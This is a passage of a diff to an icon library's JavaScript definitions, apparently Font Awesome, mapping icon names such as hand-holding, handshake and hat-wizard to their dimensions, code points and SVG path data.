512s109.03-21.92 144.72-60.14L503.4 341.83a31.966 31.966 0 0 0 5.94-34.58zM256 416c-53.02 0-96-64-96-64s42.98-64 96-64 96 64 96 64-42.98 64-96 64zm0-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"], + "hand-holding": [576, 512, [], "f4bd", "M565.3 328.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"], + "hand-holding-heart": [576, 512, [], "f4be", "M275.3 250.5c7 7.4 18.4 7.4 25.5 0l108.9-114.2c31.6-33.2 29.8-88.2-5.6-118.8-30.8-26.7-76.7-21.9-104.9 7.7L288 36.9l-11.1-11.6C248.7-4.4 202.8-9.2 172 17.5c-35.3 30.6-37.2 85.6-5.6 118.8l108.9 114.2zm290 77.6c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"], + "hand-holding-medical": [576, 512, [], "e05c", "M159.88,175.82h64v64a16,16,0,0,0,16,16h64a16,16,0,0,0,16-16v-64h64a16,16,0,0,0,16-16v-64a16,16,0,0,0-16-16h-64v-64a16,16,0,0,0-16-16h-64a16,16,0,0,0-16,16v64h-64a16,16,0,0,0-16,16v64A16,16,0,0,0,159.88,175.82ZM568.07,336.13a39.91,39.91,0,0,0-55.93-8.47L392.47,415.84H271.86a16,16,0,0,1,0-32H350.1c16,0,30.75-10.87,33.37-26.61a32.06,32.06,0,0,0-31.62-37.38h-160a117.7,117.7,0,0,0-74.12,26.25l-46.5,37.74H15.87a16.11,16.11,0,0,0-16,16v96a16.11,16.11,0,0,0,16,16h347a104.8,104.8,0,0,0,61.7-20.27L559.6,392A40,40,0,0,0,568.07,336.13Z"], + "hand-holding-usd": [576, 512, [], "f4c0", "M271.06,144.3l54.27,14.3a8.59,8.59,0,0,1,6.63,8.1c0,4.6-4.09,8.4-9.12,8.4h-35.6a30,30,0,0,1-11.19-2.2c-5.24-2.2-11.28-1.7-15.3,2l-19,17.5a11.68,11.68,0,0,0-2.25,2.66,11.42,11.42,0,0,0,3.88,15.74,83.77,83.77,0,0,0,34.51,11.5V240c0,8.8,7.83,16,17.37,16h17.37c9.55,0,17.38-7.2,17.38-16V222.4c32.93-3.6,57.84-31,53.5-63-3.15-23-22.46-41.3-46.56-47.7L282.68,97.4a8.59,8.59,0,0,1-6.63-8.1c0-4.6,4.09-8.4,9.12-8.4h35.6A30,30,0,0,1,332,83.1c5.23,2.2,11.28,1.7,15.3-2l19-17.5A11.31,11.31,0,0,0,368.47,61a11.43,11.43,0,0,0-3.84-15.78,83.82,83.82,0,0,0-34.52-11.5V16c0-8.8-7.82-16-17.37-16H295.37C285.82,0,278,7.2,278,16V33.6c-32.89,3.6-57.85,31-53.51,63C227.63,119.6,247,137.9,271.06,144.3ZM565.27,328.1c-11.8-10.7-30.2-10-42.6,0L430.27,402a63.64,63.64,0,0,1-40,14H272a16,16,0,0,1,0-32h78.29c15.9,0,30.71-10.9,33.25-26.6a31.2,31.2,0,0,0,.46-5.46A32,32,0,0,0,352,320H192a117.66,117.66,0,0,0-74.1,26.29L71.4,384H16A16,16,0,0,0,0,400v96a16,16,0,0,0,16,16H372.77a64,64,0,0,0,40-14L564,377a32,32,0,0,0,1.28-48.9Z"], + "hand-holding-water": [576, 512, [], "f4c1", "M288 256c53 0 96-42.1 96-94 0-40-57.1-120.7-83.2-155.6-6.4-8.5-19.2-8.5-25.6 0C249.1 41.3 192 122 192 162c0 51.9 43 94 96 94zm277.3 72.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"], + "hand-lizard": [576, 512, [], "f258", "M384 480h192V363.778a95.998 95.998 0 0 0-14.833-51.263L398.127 54.368A48 48 0 0 0 357.544 32H24C10.745 32 0 42.745 0 56v16c0 30.928 25.072 56 56 56h229.981c12.844 0 21.556 13.067 16.615 24.923l-21.41 51.385A32 32 0 0 1 251.648 224H128c-35.346 0-64 28.654-64 64v8c0 13.255 10.745 24 24 24h147.406a47.995 47.995 0 0 1 25.692 7.455l111.748 70.811A24.001 24.001 0 0 1 384 418.539V480z"], + "hand-middle-finger": [512, 512, [], "f806", "M479.93 317.12a37.33 37.33 0 0 0-28.28-36.19L416 272v-49.59c0-11.44-9.69-21.29-23.15-23.54l-38.4-6.4C336.63 189.5 320 200.86 320 216v32a8 8 0 0 1-16 0V50c0-26.28-20.25-49.2-46.52-50A48 48 0 0 0 208 48v200a8 8 0 0 1-16 0v-32c0-15.15-16.63-26.51-34.45-23.54l-30.68 5.12c-18 3-30.87 16.12-30.87 31.38V376a8 8 0 0 1-16 0v-76l-27.36 15A37.34 37.34 0 0 0 32 348.4v73.47a37.31 37.31 0 0 0 10.93 26.39l30.93 30.93A112 112 0 0 0 153.05 512h215A112 112 0 0 0 480 400z"], + "hand-paper": [448, 512, [], "f256", "M408.781 128.007C386.356 127.578 368 146.36 368 168.79V256h-8V79.79c0-22.43-18.356-41.212-40.781-40.783C297.488 39.423 280 57.169 280 79v177h-8V40.79C272 18.36 253.644-.422 231.219.007 209.488.423 192 18.169 192 40v216h-8V80.79c0-22.43-18.356-41.212-40.781-40.783C121.488 40.423 104 58.169 104 80v235.992l-31.648-43.519c-12.993-17.866-38.009-21.817-55.877-8.823-17.865 12.994-21.815 38.01-8.822 55.877l125.601 172.705A48 48 0 0 0 172.073 512h197.59c22.274 0 41.622-15.324 46.724-37.006l26.508-112.66a192.011 192.011 0 0 0 5.104-43.975V168c.001-21.831-17.487-39.577-39.218-39.993z"], + "hand-peace": [448, 512, [], "f25b", "M408 216c-22.092 0-40 17.909-40 40h-8v-32c0-22.091-17.908-40-40-40s-40 17.909-40 40v32h-8V48c0-26.51-21.49-48-48-48s-48 21.49-48 48v208h-13.572L92.688 78.449C82.994 53.774 55.134 41.63 30.461 51.324 5.787 61.017-6.356 88.877 3.337 113.551l74.765 190.342-31.09 24.872c-15.381 12.306-19.515 33.978-9.741 51.081l64 112A39.998 39.998 0 0 0 136 512h240c18.562 0 34.686-12.77 38.937-30.838l32-136A39.97 39.97 0 0 0 448 336v-80c0-22.091-17.908-40-40-40z"], + "hand-point-down": [384, 512, [], "f0a7", "M91.826 467.2V317.966c-8.248 5.841-16.558 10.57-24.918 14.153C35.098 345.752-.014 322.222 0 288c.008-18.616 10.897-32.203 29.092-40 28.286-12.122 64.329-78.648 77.323-107.534 7.956-17.857 25.479-28.453 43.845-28.464l.001-.002h171.526c11.812 0 21.897 8.596 23.703 20.269 7.25 46.837 38.483 61.76 38.315 123.731-.007 2.724.195 13.254.195 16 0 50.654-22.122 81.574-71.263 72.6-9.297 18.597-39.486 30.738-62.315 16.45-21.177 24.645-53.896 22.639-70.944 6.299V467.2c0 24.15-20.201 44.8-43.826 44.8-23.283 0-43.826-21.35-43.826-44.8zM112 72V24c0-13.255 10.745-24 24-24h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24zm212-24c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z"], + "hand-point-left": [512, 512, [], "f0a5", "M44.8 155.826h149.234c-5.841-8.248-10.57-16.558-14.153-24.918C166.248 99.098 189.778 63.986 224 64c18.616.008 32.203 10.897 40 29.092 12.122 28.286 78.648 64.329 107.534 77.323 17.857 7.956 28.453 25.479 28.464 43.845l.002.001v171.526c0 11.812-8.596 21.897-20.269 23.703-46.837 7.25-61.76 38.483-123.731 38.315-2.724-.007-13.254.195-16 .195-50.654 0-81.574-22.122-72.6-71.263-18.597-9.297-30.738-39.486-16.45-62.315-24.645-21.177-22.639-53.896-6.299-70.944H44.8c-24.15 0-44.8-20.201-44.8-43.826 0-23.283 21.35-43.826 44.8-43.826zM440 176h48c13.255 0 24 10.745 24 24v192c0 13.255-10.745 24-24 24h-48c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24zm24 212c11.046 0 20-8.954 20-20s-8.954-20-20-20-20 8.954-20 20 8.954 20 20 20z"], + "hand-point-right": [512, 512, [], "f0a4", "M512 199.652c0 23.625-20.65 43.826-44.8 43.826h-99.851c16.34 17.048 18.346 49.766-6.299 70.944 14.288 22.829 2.147 53.017-16.45 62.315C353.574 425.878 322.654 448 272 448c-2.746 0-13.276-.203-16-.195-61.971.168-76.894-31.065-123.731-38.315C120.596 407.683 112 397.599 112 385.786V214.261l.002-.001c.011-18.366 10.607-35.889 28.464-43.845 28.886-12.994 95.413-49.038 107.534-77.323 7.797-18.194 21.384-29.084 40-29.092 34.222-.014 57.752 35.098 44.119 66.908-3.583 8.359-8.312 16.67-14.153 24.918H467.2c23.45 0 44.8 20.543 44.8 43.826zM96 200v192c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24h48c13.255 0 24 10.745 24 24zM68 368c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z"], + "hand-point-up": [384, 512, [], "f0a6", "M135.652 0c23.625 0 43.826 20.65 43.826 44.8v99.851c17.048-16.34 49.766-18.346 70.944 6.299 22.829-14.288 53.017-2.147 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065 76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261l-.001-.002c-18.366-.011-35.889-10.607-43.845-28.464C93.421 342.648 57.377 276.122 29.092 264 10.897 256.203.008 242.616 0 224c-.014-34.222 35.098-57.752 66.908-44.119 8.359 3.583 16.67 8.312 24.918 14.153V44.8c0-23.45 20.543-44.8 43.826-44.8zM136 416h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24v-48c0-13.255 10.745-24 24-24zm168 28c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20z"], + "hand-pointer": [448, 512, [], "f25a", "M448 240v96c0 3.084-.356 6.159-1.063 9.162l-32 136C410.686 499.23 394.562 512 376 512H168a40.004 40.004 0 0 1-32.35-16.473l-127.997-176c-12.993-17.866-9.043-42.883 8.822-55.876 17.867-12.994 42.884-9.043 55.877 8.823L104 315.992V40c0-22.091 17.908-40 40-40s40 17.909 40 40v200h8v-40c0-22.091 17.908-40 40-40s40 17.909 40 40v40h8v-24c0-22.091 17.908-40 40-40s40 17.909 40 40v24h8c0-22.091 17.908-40 40-40s40 17.909 40 40zm-256 80h-8v96h8v-96zm88 0h-8v96h8v-96zm88 0h-8v96h8v-96z"], + "hand-rock": [512, 512, [], "f255", "M464.8 80c-26.9-.4-48.8 21.2-48.8 48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v32h-8V80.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v136l-8-7.1v-48.1c0-26.3-20.9-48.3-47.2-48.8C21.9 127.6 0 149.2 0 176v66.4c0 27.4 11.7 53.5 32.2 71.8l111.7 99.3c10.2 9.1 16.1 22.2 16.1 35.9v6.7c0 13.3 10.7 24 24 24h240c13.3 0 24-10.7 24-24v-2.9c0-12.8 2.6-25.5 7.5-37.3l49-116.3c5-11.8 7.5-24.5 7.5-37.3V128.8c0-26.3-20.9-48.4-47.2-48.8z"], + "hand-scissors": [512, 512, [], "f257", "M216 440c0-22.092 17.909-40 40-40v-8h-32c-22.091 0-40-17.908-40-40s17.909-40 40-40h32v-8H48c-26.51 0-48-21.49-48-48s21.49-48 48-48h208v-13.572l-177.551-69.74c-24.674-9.694-36.818-37.555-27.125-62.228 9.693-24.674 37.554-36.817 62.228-27.124l190.342 74.765 24.872-31.09c12.306-15.381 33.978-19.515 51.081-9.741l112 64A40.002 40.002 0 0 1 512 168v240c0 18.562-12.77 34.686-30.838 38.937l-136 32A39.982 39.982 0 0 1 336 480h-80c-22.091 0-40-17.908-40-40z"], + "hand-sparkles": [640, 512, [], "e05d", "M106.66,170.64l.09,0,49.55-20.65a7.32,7.32,0,0,0,3.68-6h0a7.29,7.29,0,0,0-3.68-6l-49.57-20.67-.07,0L86,67.68a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L3.7,138A7.29,7.29,0,0,0,0,144H0a7.32,7.32,0,0,0,3.68,6L53.27,170.6l.07,0L74,220.26a6.65,6.65,0,0,0,11.92,0l20.69-49.62ZM471.38,467.41l-1-.42-1-.5a38.67,38.67,0,0,1,0-69.14l1-.49,1-.43,37.49-15.63,15.63-37.48.41-1,.47-.95c3.85-7.74,10.58-13.63,18.35-17.34,0-1.33.25-2.69.27-4V144a32,32,0,0,0-64,0v72a8,8,0,0,1-8,8H456a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H360a8,8,0,0,1-8-8V32a32,32,0,0,0-64,0V216a8,8,0,0,1-8,8H264a8,8,0,0,1-8-8V64a32,32,0,0,0-64,0v241l-23.59-32.49a40,40,0,0,0-64.71,47.09L229.3,492.21A48.07,48.07,0,0,0,268.09,512H465.7c19.24,0,35.65-11.73,43.24-28.79l-.07-.17ZM349.79,339.52,320,351.93l-12.42,29.78a4,4,0,0,1-7.15,0L288,351.93l-29.79-12.41a4,4,0,0,1,0-7.16L288,319.94l12.42-29.78a4,4,0,0,1,7.15,0L320,319.94l29.79,12.42a4,4,0,0,1,0,7.16ZM640,431.91a7.28,7.28,0,0,0-3.68-6l-49.57-20.67-.07,0L566,355.63a6.66,6.66,0,0,0-11.92,0l-20.7,49.63-.05,0L483.7,426a7.28,7.28,0,0,0-3.68,6h0a7.29,7.29,0,0,0,3.68,5.95l49.57,20.67.07,0L554,508.21a6.65,6.65,0,0,0,11.92,0l20.69-49.62h0l.09,0,49.55-20.66a7.29,7.29,0,0,0,3.68-5.95h0Z"], + "hand-spock": [512, 512, [], "f259", "M510.9005,145.27027,442.604,432.09391A103.99507,103.99507,0,0,1,341.43745,512H214.074a135.96968,135.96968,0,0,1-93.18489-36.95291L12.59072,373.12723a39.992,39.992,0,0,1,54.8122-58.24988l60.59342,57.02528v0a283.24849,283.24849,0,0,0-11.6703-80.46734L73.63726,147.36011a40.00575,40.00575,0,1,1,76.71833-22.7187l37.15458,125.39477a8.33113,8.33113,0,0,0,16.05656-4.4414L153.26183,49.95406A39.99638,39.99638,0,1,1,230.73015,30.0166l56.09491,218.15825a10.42047,10.42047,0,0,0,20.30018-.501L344.80766,63.96966a40.052,40.052,0,0,1,51.30245-30.0893c19.86073,6.2998,30.86262,27.67378,26.67564,48.08487l-33.83869,164.966a7.55172,7.55172,0,0,0,14.74406,3.2666l29.3973-123.45874a39.99414,39.99414,0,1,1,77.81208,18.53121Z"], + "hands": [640, 512, [], "f4c2", "M204.8 230.4c-10.6-14.1-30.7-17-44.8-6.4-14.1 10.6-17 30.7-6.4 44.8l38.1 50.8c4.8 6.4 4.1 15.3-1.5 20.9l-12.8 12.8c-6.7 6.7-17.6 6.2-23.6-1.1L64 244.4V96c0-17.7-14.3-32-32-32S0 78.3 0 96v218.4c0 10.9 3.7 21.5 10.5 30l104.1 134.3c5 6.5 8.4 13.9 10.4 21.7 1.8 6.9 8.1 11.6 15.3 11.6H272c8.8 0 16-7.2 16-16V384c0-27.7-9-54.6-25.6-76.8l-57.6-76.8zM608 64c-17.7 0-32 14.3-32 32v148.4l-89.8 107.8c-6 7.2-17 7.7-23.6 1.1l-12.8-12.8c-5.6-5.6-6.3-14.5-1.5-20.9l38.1-50.8c10.6-14.1 7.7-34.2-6.4-44.8-14.1-10.6-34.2-7.7-44.8 6.4l-57.6 76.8C361 329.4 352 356.3 352 384v112c0 8.8 7.2 16 16 16h131.7c7.1 0 13.5-4.7 15.3-11.6 2-7.8 5.4-15.2 10.4-21.7l104.1-134.3c6.8-8.5 10.5-19.1 10.5-30V96c0-17.7-14.3-32-32-32z"], + "hands-helping": [640, 512, [], "f4c4", "M488 192H336v56c0 39.7-32.3 72-72 72s-72-32.3-72-72V126.4l-64.9 39C107.8 176.9 96 197.8 96 220.2v47.3l-80 46.2C.7 322.5-4.6 342.1 4.3 357.4l80 138.6c8.8 15.3 28.4 20.5 43.7 11.7L231.4 448H368c35.3 0 64-28.7 64-64h16c17.7 0 32-14.3 32-32v-64h8c13.3 0 24-10.7 24-24v-48c0-13.3-10.7-24-24-24zm147.7-37.4L555.7 16C546.9.7 527.3-4.5 512 4.3L408.6 64H306.4c-12 0-23.7 3.4-33.9 9.7L239 94.6c-9.4 5.8-15 16.1-15 27.1V248c0 22.1 17.9 40 40 40s40-17.9 40-40v-88h184c30.9 0 56 25.1 56 56v28.5l80-46.2c15.3-8.9 20.5-28.4 11.7-43.7z"], + "hands-wash": [576, 512, [], "e05e", "M496,224a48,48,0,1,0-48-48A48,48,0,0,0,496,224ZM311.47,178.45A56.77,56.77,0,0,1,328,176a56,56,0,0,1,19,3.49l15.35-48.61A24,24,0,0,0,342,99.74c-11.53-1.35-22.21,6.44-25.71,17.51l-20.9,66.17ZM93.65,386.33c.8-.19,1.54-.54,2.35-.71V359.93a156,156,0,0,1,107.06-148l73.7-22.76L310.92,81.05a24,24,0,0,0-20.33-31.11c-11.53-1.34-22.22,6.45-25.72,17.52L231.42,173.88a8,8,0,0,1-15.26-4.83L259.53,31.26A24,24,0,0,0,239.2.15C227.67-1.19,217,6.6,213.49,17.66L165.56,169.37a8,8,0,1,1-15.26-4.82l38.56-122a24,24,0,0,0-20.33-31.11C157,10,146.32,17.83,142.82,28.9l-60,189.85L80.76,168.7A24,24,0,0,0,56.9,144.55c-13.23-.05-24.72,10.54-24.9,23.86V281.14A123.69,123.69,0,0,0,93.65,386.33ZM519.1,336H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,279.84,498.71,272,487.1,272H288l47.09-17.06a24,24,0,0,0-14.18-45.88L213.19,242.31A123.88,123.88,0,0,0,128,360v25.65a79.78,79.78,0,0,1,58,108.63A118.9,118.9,0,0,0,248,512H456a24,24,0,0,0,23.54-28.76C477.35,471.84,466.71,464,455.1,464H360a8,8,0,0,1,0-16H488a24,24,0,0,0,23.54-28.76C509.35,407.84,498.71,400,487.1,400H360a8,8,0,0,1,0-16H520a24,24,0,0,0,23.54-28.76C541.35,343.84,530.71,336,519.1,336ZM416,64a32,32,0,1,0-32-32A32,32,0,0,0,416,64ZM112,416a48,48,0,1,0,48,48A48,48,0,0,0,112,416Z"], + "handshake": [640, 512, [], "f2b5", "M434.7 64h-85.9c-8 0-15.7 3-21.6 8.4l-98.3 90c-.1.1-.2.3-.3.4-16.6 15.6-16.3 40.5-2.1 56 12.7 13.9 39.4 17.6 56.1 2.7.1-.1.3-.1.4-.2l79.9-73.2c6.5-5.9 16.7-5.5 22.6 1 6 6.5 5.5 16.6-1 22.6l-26.1 23.9L504 313.8c2.9 2.4 5.5 5 7.9 7.7V128l-54.6-54.6c-5.9-6-14.1-9.4-22.6-9.4zM544 128.2v223.9c0 17.7 14.3 32 32 32h64V128.2h-96zm48 223.9c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM0 384h64c17.7 0 32-14.3 32-32V128.2H0V384zm48-63.9c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16c0-8.9 7.2-16 16-16zm435.9 18.6L334.6 217.5l-30 27.5c-29.7 27.1-75.2 24.5-101.7-4.4-26.9-29.4-24.8-74.9 4.4-101.7L289.1 64h-83.8c-8.5 0-16.6 3.4-22.6 9.4L128 128v223.9h18.3l90.5 81.9c27.4 22.3 67.7 18.1 90-9.3l.2-.2 17.9 15.5c15.9 13 39.4 10.5 52.3-5.4l31.4-38.6 5.4 4.4c13.7 11.1 33.9 9.1 45-4.7l9.5-11.7c11.2-13.8 9.1-33.9-4.6-45.1z"], + "handshake-alt-slash": [640, 512, [], "e05f", "M358.59,195.6,504.2,313.8a63.4,63.4,0,0,1,22.21,37.91H624a16.05,16.05,0,0,0,16-16V143.91A16,16,0,0,0,624,128H512L457.41,73.41A32,32,0,0,0,434.8,64H348.91a32,32,0,0,0-21.61,8.41l-88.12,80.68-25.69-19.85L289.09,64H205.3a32,32,0,0,0-22.6,9.41l-20.34,20.3L45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.54,508.63A16,16,0,0,0,617,505.82l19.64-25.27a16,16,0,0,0-2.81-22.45L303.4,202.72l32.69-29.92,27-24.7a16,16,0,0,1,21.61,23.61ZM16,128A16.05,16.05,0,0,0,0,144V335.91a16,16,0,0,0,16,16H146.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L23.56,128Z"], + "handshake-slash": [640, 512, [], "e060", "M0,128.21V384H64a32,32,0,0,0,32-32V184L23.83,128.21ZM48,320.1a16,16,0,1,1-16,16A16,16,0,0,1,48,320.1Zm80,31.81h18.3l90.5,81.89a64,64,0,0,0,90-9.3l.2-.2,17.91,15.5a37.16,37.16,0,0,0,52.29-5.39l8.8-10.82L128,208.72Zm416-223.7V352.1a32,32,0,0,0,32,32h64V128.21ZM592,352.1a16,16,0,1,1,16-16A16,16,0,0,1,592,352.1ZM303.33,202.67l59.58-54.57a16,16,0,0,1,21.59,23.61L358.41,195.6,504,313.8a73.08,73.08,0,0,1,7.91,7.7V128L457.3,73.41A31.76,31.76,0,0,0,434.7,64H348.8a31.93,31.93,0,0,0-21.6,8.41l-88.07,80.64-25.64-19.81L289.09,64H205.3a32,32,0,0,0-22.6,9.41L162.36,93.72,45.47,3.38A16,16,0,0,0,23,6.19L3.38,31.46A16,16,0,0,0,6.19,53.91L594.53,508.63A16,16,0,0,0,617,505.82l19.65-25.27a16,16,0,0,0-2.82-22.45Z"], + "hanukiah": [640, 512, [], "f6e6", "M232 160c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm-64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm224 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm64 0c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm88 8c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v120h32V168zm-440-8c-4.42 0-8 3.58-8 8v120h32V168c0-4.42-3.58-8-8-8h-16zm520 0h-32c-8.84 0-16 7.16-16 16v112c0 17.67-14.33 32-32 32H352V128c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v192H96c-17.67 0-32-14.33-32-32V176c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v112c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V176c0-8.84-7.16-16-16-16zm-16-32c13.25 0 24-11.94 24-26.67S608 48 608 48s-24 38.61-24 53.33S594.75 128 608 128zm-576 0c13.25 0 24-11.94 24-26.67S32 48 32 48 8 86.61 8 101.33 18.75 128 32 128zm288-48c13.25 0 24-11.94 24-26.67S320 0 320 0s-24 38.61-24 53.33S306.75 80 320 80zm-208 48c13.25 0 24-11.94 24-26.67S112 48 112 48s-24 38.61-24 53.33S98.75 128 112 128zm64 0c13.25 0 24-11.94 24-26.67S176 48 176 48s-24 38.61-24 53.33S162.75 128 176 128zm64 0c13.25 0 24-11.94 24-26.67S240 48 240 48s-24 38.61-24 53.33S226.75 128 240 128zm160 0c13.25 0 24-11.94 24-26.67S400 48 400 48s-24 38.61-24 53.33S386.75 128 400 128zm64 0c13.25 0 24-11.94 24-26.67S464 48 464 48s-24 38.61-24 53.33S450.75 128 464 128zm64 0c13.25 0 24-11.94 24-26.67S528 48 528 48s-24 38.61-24 53.33S514.75 128 528 128z"], + "hard-hat": [512, 512, [], "f807", "M480 288c0-80.25-49.28-148.92-119.19-177.62L320 192V80a16 16 0 0 0-16-16h-96a16 16 0 0 0-16 16v112l-40.81-81.62C81.28 139.08 32 207.75 32 288v64h448zm16 96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "hashtag": [448, 512, [], "f292", "M440.667 182.109l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l14.623-81.891C377.123 38.754 371.468 32 363.997 32h-40.632a12 12 0 0 0-11.813 9.891L296.175 128H197.54l14.623-81.891C213.477 38.754 207.822 32 200.35 32h-40.632a12 12 0 0 0-11.813 9.891L132.528 128H53.432a12 12 0 0 0-11.813 9.891l-7.143 40C33.163 185.246 38.818 192 46.289 192h74.81L98.242 320H19.146a12 12 0 0 0-11.813 9.891l-7.143 40C-1.123 377.246 4.532 384 12.003 384h74.81L72.19 465.891C70.877 473.246 76.532 480 84.003 480h40.632a12 12 0 0 0 11.813-9.891L151.826 384h98.634l-14.623 81.891C234.523 473.246 240.178 480 247.65 480h40.632a12 12 0 0 0 11.813-9.891L315.472 384h79.096a12 12 0 0 0 11.813-9.891l7.143-40c1.313-7.355-4.342-14.109-11.813-14.109h-74.81l22.857-128h79.096a12 12 0 0 0 11.813-9.891zM261.889 320h-98.634l22.857-128h98.634l-22.857 128z"], + "hat-cowboy": [640, 512, [], "f8c0", "M490 296.9C480.51 239.51 450.51 64 392.3 64c-14 0-26.49 5.93-37 14a58.21 58.21 0 0 1-70.58 0c-10.51-8-23-14-37-14-58.2 0-88.2 175.47-97.71 232.88C188.81 309.47 243.73 320 320 320s131.23-10.51 170-23.1zm142.9-37.18a16 16 0 0 0-19.75 1.5c-1 .9-101.27 90.78-293.16 90.78-190.82 0-292.22-89.94-293.24-90.84A16 16 0 0 0 1 278.53C1.73 280.55 78.32 480 320 480s318.27-199.45 319-201.47a16 16 0 0 0-6.09-18.81z"], + "hat-cowboy-side": [640, 512, [], "f8c1", "M260.8 291.06c-28.63-22.94-62-35.06-96.4-35.06C87 256 21.47 318.72 1.43 412.06c-3.55 16.6-.43 33.83 8.57 47.3C18.75 472.47 31.83 480 45.88 480H592c-103.21 0-155-37.07-233.19-104.46zm234.65-18.29L468.4 116.2A64 64 0 0 0 392 64.41L200.85 105a64 64 0 0 0-50.35 55.79L143.61 226c6.9-.83 13.7-2 20.79-2 41.79 0 82 14.55 117.29 42.82l98 84.48C450.76 412.54 494.9 448 592 448a48 48 0 0 0 48-48c0-25.39-29.6-119.33-144.55-127.23z"], + "hat-wizard": [512, 512, [], "f6e8", "M496 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-304-64l-64-32 64-32 32-64 32 64 64 32-64 32-16 32h208l-86.41-201.63a63.955 63.955 0 0 1-1.89-45.45L416 0 228.42 107.19a127.989 127.989 0 0 0-53.46 59.15L64 416h144l-16-32zm64-224l16-32 16 32 32 16-32 16-16 32-16-32-32-16 32-16z"], + "hdd": [576, 512, [], "f0a0", "M576 304v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48zm-48-80a79.557 79.557 0 0 1 30.777 6.165L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L17.223 230.165A79.557 79.557 0 0 1 48 224h480zm-48 96c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm-96 0c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z"], + "head-side-cough": [640, 512, [], "e061", 